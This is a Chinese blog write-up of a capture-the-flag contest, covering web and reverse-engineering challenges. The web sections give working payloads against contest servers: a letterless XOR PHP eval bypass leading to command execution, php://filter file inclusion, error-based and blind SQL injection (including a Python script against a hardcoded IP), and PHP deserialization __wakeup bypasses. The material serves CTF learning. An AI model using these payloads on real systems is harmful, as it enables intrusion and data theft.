第十届极客大挑战——部分web和RE的WP

第十届极客大挑战——部分web和RE的WP

昨天刚刚搞完湖湘杯和软考,累的一批,,,,湖湘杯的wp就不写了,写写这个wp
这个好像是一个月之前就开始的,打了一个月,不断的放题,题也做了不少,,,
其他的就不记录了,就记录一下web和RE方面的,,,,
可能有些题是比较简单咯,但是我就是决定记录一下,
简单怎么了?就不能记录了吗?好笑,我就是喜欢记录!!

web - 打比赛前先撸一只猫!

打开查看源码得到:
在这里插入图片描述
直接get传递参数cat=dog得到flag
在这里插入图片描述

web - 你看见过我的菜刀么

基本操作,页面给了shell,菜刀链接即可:
在这里插入图片描述
多找找就能找到flag

web - BurpSuiiiiiit!!!

emmm,这道题是真的骚,说实话我也是第一次看见这种题
根据题意可知利用BurpSuit,下载文件发现是一个jar文件????
不知所措,后来发现,文件名对应着一个bp上的功能!!
在这里插入图片描述
bp添加扩展的地方??直接把jar文件加入,最后在错误的页面中看见了flag!!
在这里插入图片描述

web - 性感潇文清,在线算卦

查看源代码,发现给出了php源代码:
在这里插入图片描述
就是一开始文件存在flag,但是经过很快的一段时间就变了,所以我们必须在内容更改之前访问到文件内容
利用python多线程跑即可:

import requests
import threading
import time
 
url = "http://148.70.59.198:42534/?u=123&p=123"
url2 = "http://148.70.59.198:42534/uploads/46f19b997a3e5633e191012e6d0ba7148daf76e2/40bd001563085fc35165329ea1ff5c5ecbdbbeef"
 
class myThread (threading.Thread):
    def __init__(self, threadID, name, counter):
        threading.Thread.__init__(self)
        self.threadID = threadID
        self.name = name
        self.counter = counter
    def run(self):               
        print("Starting " + self.name)
        f(self.name, self.counter)
        print("Exiting " + self.name)
 
def f(url,url2):
	while 1:
		txt1 = requests.get(url)
		txt2 = requests.get(url2)
		print(txt2.text)

thread1 = myThread(1,url,url2)
thread2 = myThread(2,url,url2)
 
thread1.start()
thread2.start()
 
print("Exiting Main Thread")

当然我还有同学是使用bp的,原理差不多,,,

web - Easysql

emmm,so简单,万能密码直接登录拿到flag:
在这里插入图片描述

web - RCE me

打开来可以看见源码:

<?php
error_reporting(0);
if(isset($_GET['code'])){
        $code=$_GET['code'];
            if(strlen($code)>40){
                    die("This is too Long.");
                    }
            if(preg_match("/[A-Za-z0-9]+/",$code)){
                    die("NO.");
                    }
            @eval($code);
}
else{
        highlight_file(__FILE__);
}
highlight_file(__FILE);

// ?>

emmm,这道题肝了很久很久,,,,,
一开始以为$被过滤了,结果问了出题师傅,才知道,是因为自己传参的原因,走了多少冤枉路啊
因为过滤了大小写字母和数字,所以我们不能直接传递这些,利用异或来进行绕过!!!

payload:?code=$_="`{{{"^"?<>/";;${$_}[_](${$_}[__]);&_=assert&__=执行的命令

就是如此,构造payload,其实中间省略了一些步骤
比如说查看phpinfo,我们可以发现有很多函数被禁用了
不过assert没有,所以我们才会使用这个函数,这个payload也可以查看咯:
在这里插入图片描述
总之没过程就不详细说了,根目录下有flag不过不能读取文件,但是功夫不负有心人啊
最后我竟然在tmp文件夹中找到了一个exploit.php文件!!!读取一下内容发现作用是读取flag的,嘿嘿嘿
直接利用这个exp!!最后得到flag:
在这里插入图片描述

web - Lovelysql

emmm,一样的sql注入的题目,没有什么东西,就是一个简单的报错注入,,,,
利用union语句即可,利用bp抓包进行注入就好了,这里也就不多说了
反正按照常规方法就能得到flag,毕竟也没有过滤什么
在这里插入图片描述

web - Babysql

emmmm,和上一题差不多,只不过过滤了一些关键字,双写即可绕过
基本都与上一题的操作一样,不多说了
在这里插入图片描述

web - 神秘的三叶草

emmm,查看源代码可以找到一个页面:
在这里插入图片描述
进行访问!得到:
在这里插入图片描述
到这里就不难了,后续就不详细说了,就是一个改referer,X-Forwarded-For,还有个浏览器啥的,都是基本的操作了

web - Jiang‘s Secret

打开查看源代码的到一个新的网页:
在这里插入图片描述
进行访问:
在这里插入图片描述
点击SECRET得到一个提示,说什么东西过去了,直接抓包得到:
在这里插入图片描述
进行访问,得到源码:

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

emmm,直接使用文件包含即可

payload:?file=php://filter/read=convert.base64-encode/resource=flag.php

将得到的base64解码德科得到flag

web - Hardsql

emmm,这个要说一下了,这个是快结束的时候才做出来的,有个hint说是报错注入
一开始进行尝试,发现and被过滤了,空格也被过滤了,最后找到解决方案,报错嘛,可以利用updataxml嘛
先贴上payload:

?username=admin%27or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23&password=123

整个过程的注入语句:

updatexml(1,concat(0x7e,(SELECT(database())),0x7e),1)
updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1)
updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1)
updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1)

最后的到flag:
在这里插入图片描述

web - 反序列化1.0

查看源码,得到:

socre 10000!!!!
<br><!--
class Student
{
    public $score = 0;
    public function __destruct()
    {
        echo "__destruct working";
        if($this->score==10000) {
            $flag = "******************";
            echo $flag;
        }
    }
}
$exp = $_GET['exp'];
echo "<br>";
unserialize($exp);
?>

emmm,基本的反序列化,直接构造:
在这里插入图片描述
传递进入,得到flag:
在这里插入图片描述

web - 又来一只猫

emmm,打开就得到提示:
在这里插入图片描述
直接访问一下www.zip得到源码文件:
在这里插入图片描述
查看index.php,看见存在反序列化:
在这里插入图片描述
查看一下class.php:

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

可以看见$this->username要等于admin,$this->password要等于100就能够的到flag
不过有个__wakeup方法,这个方法就是当反序列化时最先调用这个方法,
需要绕过这个方法,接下来我们先进行构造
在这里插入图片描述
有一点需要注意,private私有的变量进行序列化格式是不一样的
得到的构造如下:

?select=O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

不过现在还没有显示,需要我们进行绕过,所以我们让变量加1即可:

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

得到:
在这里插入图片描述

web - 你有初恋吗

emmm,直接开题:
在这里插入图片描述
查看源代码可以看见源码:
在这里插入图片描述
这颜色,绿的发慌,,,
看见有urldecode??这就好办了呀,直接二次URL编码
构造:lover=%2573yclover
在这里插入图片描述

web - Finalsql

emmmm,直接开题:
在这里插入图片描述
得到提示,盲注!!!
而且这个题还有坑点,注入点变了!!!!!不再是登陆框,而是一个id的页面,,,
就在id=1的页面进行注入即可,过滤了空格、and、or、mid、#等其他的没测试
这是条件为真的时候的页面显示:
在这里插入图片描述
为假时:
在这里插入图片描述
直接上脚本吧,还有一点就是内容特别多,flag藏在中间!!!
两个表,一个表没得用,flag在password中
跑了很久,没用二分法,,,反正时间不着急,啊哈哈哈哈:

import requests
import io
import sys
import string
import time

sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf-8')		#改变标准输出的默认编码,否则s.text不能输出
'''
url = "http://118.25.14.40:8104/search.php?id=1=(1)=1"
s = requests.get(url)
s.encoding = 'utf-8' 
content = s.content

#检验是否成功
if 'NO! Not this! Click others~~~' in s.text:
	s.encoding = 'gbk' 
	print(s.text)
	

#构造sql注入语句
F1naI1y,Flaaaaag
and(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1,1))=xxx)and(length(database()))!='20
ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%s,1))=%s
ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='do_y0u_l1ke_long_t4ble_name')),%s,1))=%s
ascii(mid((select(d0_you_als0_l1ke_very_long_column_name)from(do_y0u_l1ke_long_t4ble_name)),%s,1))=%s
'''

url = "http://118.25.14.40:8104/search.php?id=1=(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%s,1))=%s)=1"
url2 = "http://118.25.14.40:8104/search.php?id=1=(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),%s,1))=%s)=1"
url3 = "http://118.25.14.40:8104/search.php?id=1=(ascii(substr((select(group_concat(fl4gawsl))from(Flaaaaag)),%s,1))=%s)=1"
url4 = "http://118.25.14.40:8104/search.php?id=1=(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%s,1))=%s)=1"
url5 = "http://118.25.14.40:8104/search.php?id=1=(ascii(substr((select(group_concat(password))from(F1naI1y)),%s,1))=%s)=1"
ss = ""
x = string.printable

for i in range(1,30):
	for j in x:
		payload = url5%(str(i),ord(j))
		#print(payload)
		time.sleep(0.5)
		s = requests.get(payload)
		if 'NO! Not this! Click others~~~' in s.text:
			ss += j
			print(ss)
			break

RE - jiang’s fan

下载文件,载入ida,直接shift+F12查看字符串得到:
在这里插入图片描述

RE - secret

下载文件载入ida,找到main函数:
在这里插入图片描述
可以很清楚看见字符串经过一个加密的函数sub_78A(),然后与字符串a5379637b6e3077[]比较,进入函数查看:
在这里插入图片描述
貌似就是一个16进制的转换,直接16进制转字符串,或者自己写脚本也行
在这里插入图片描述

RE - Easy VB

下载文件使用ida打开,发现是vb文件,发现两串奇怪的字符串!!!
在这里插入图片描述
猜测很有可能是异或,而且长度都一样,,,
直接编写脚本:

s = "12345a789012345678g012345a789012"
x = "bKPObQ@goYBGRXjtVKVSn^@kFQh[V_]O"
flag = ""

for i in range(0,len(s)):
	flag += chr(ord(s[i]) ^ ord(x[i]))

print(flag)

运行果然是异或,得到flag:
在这里插入图片描述

RE - 冰菓

下载文件使用ida打开,发现是.net文件
在这里插入图片描述
换一种.net反编译工具dnSpy打开,找到关键点:
在这里插入图片描述
就是把我们输入的数传入一个检查函数!!
查看检查函数:

public bool CheckStr(string text)
{
	if (text.Length != 20)
	{
		return false;
	}
	byte[] bytes = Encoding.ASCII.GetBytes(text);
	byte[] array = new byte[]
	{
		119,
		77,
		103,
		79,
		21,
		115,
		133,
		97,
		115,
		87,
		22,
		115,
		103,
		89,
		88,
		93,
		22,
		89,
		119,
		81
	};
	byte[] array2 = new byte[]
	{
		57,
		13
	};
	for (int i = 0; i < array.Length; i++)
	{
		bytes[i] = Convert.ToByte((int)((bytes[i] ^ array2[0]) + array2[1]));
		if (bytes[i] != array[i])
		{
			return false;
		}
	}
	return true;
}

emmmm,很好理解,直接写脚本进行逆向:

a = [119,77,103,79,21,115,133,97,115,87,22,115,103,89,88,93,22,89,119,81]
b = [57,13]

for i in range(0,len(a)):
	print(chr((a[i] - b[1]) ^ b[0]),end="")

运行得到结果:
在这里插入图片描述

RE - PYC是啥子嘛?

使用python在线反编译工具进行反编译得到源码:

print 'This is a maze.'
print 'Python is so easy.'
print 'Plz Input The Shortest Way:'
maze = '###########S#@@@@@@##@#@####@##@#@@@@#@##@####@#@##@@@@@@#@#########@##E######@##@@@@@@@@###########'
way = raw_input()
len = len(way)
p = 11
for i in way:
    if i == '&':
        p -= 10
    if i == '$':
        p += 10
    if i == '6':
        p -= 1
    if i == '3':
        p += 1
    if maze[p] == '#':
        print 'Your way is wrong'
        exit(0)
        break
    if maze[p] == '@':
        continue
    if maze[p] == 'E':
        print 'You do it,your flag is Syc\\{+Your Input+\\}.'
        exit(0)
        continue
print 'May be something wrong.'

很好理解程序,就是走迷宫,路线就是flag,知道迷宫为:

##########
#S#@@@@@@#
#@#@####@#
#@#@@@@#@#
#@####@#@#
#@@@@@@#@#
########@#
#E######@#
#@@@@@@@@#
##########

就是从S走到E的路线,只能走@符号,路线就是flag

RE - Dll Reverse

首先下载文件,解压发现有exe和dll文件,先运行exe文件看一看:
在这里插入图片描述
emmm,没啥,用ida打开exe文件看看:
在这里插入图片描述发现打开了dll文件,直接把dll文件放入ida中查看,找到调用的函数:
在这里插入图片描述
发现会检查长度是不是小于等于32
进入sub_10001028()函数查看一下,貌似这一块是base64加密:
在这里插入图片描述
后面这一段是关键!!有比较!!!
在这里插入图片描述
emmm,既然我如此我们就可以编写脚本还原出原来的字符串
编写解题脚本:

import string

a = [0x22, 0x59, 0x32, 0x5E, 0x38, 0x0B, 0x42, 0x56, 0x26, 0x70, 0x4D, 0x45, 0x13, 0x22, 0x2D, 0x1D, 0x5B, 0x37, 0x70, 0x03, 0x12, 0x60, 0x7C, 0x36, 0x07, 0x53, 0x03, 0x53, 0x4F, 0x78, 0x56, 0x26]
b = [0x45, 0x6A, 0x43, 0x34, 0x56, 0x3B, 0x4F, 0x67, 0x47, 0x43, 0x19, 0x23, 0x43, 0x75, 0x6C, 0x67, 0x3B, 0x65, 0x54, 0x46, 0x42, 0x37, 0x01, 0x50, 0x55, 0x60, 0x49, 0x24, 0x18, 0x4A, 0x27, 0x1F]
s = string.printable
flag = ""

for i in range(32):
	for j in s:
		if(i % 2 != 0):
			x = b[i] ^ ord(j)
		else:
			x = (b[i] ^ ord(j)) + 3
		if(x == a[i]):
			flag += j
			break

print(flag)

运行得到字符串:
在这里插入图片描述
emmmm,拿去base64解密发现解密有问题,怀疑是不是码表有问题,直接shift+F12查看一下:
在这里插入图片描述
果然有问题,变换了码表,使用之前的python编写base64加解密脚本(可变换码表)进行解密,得到flag:
在这里插入图片描述

发布了206 篇原创文章 · 获赞 130 · 访问量 10万+

猜你喜欢

转载自blog.csdn.net/qq_42967398/article/details/102979306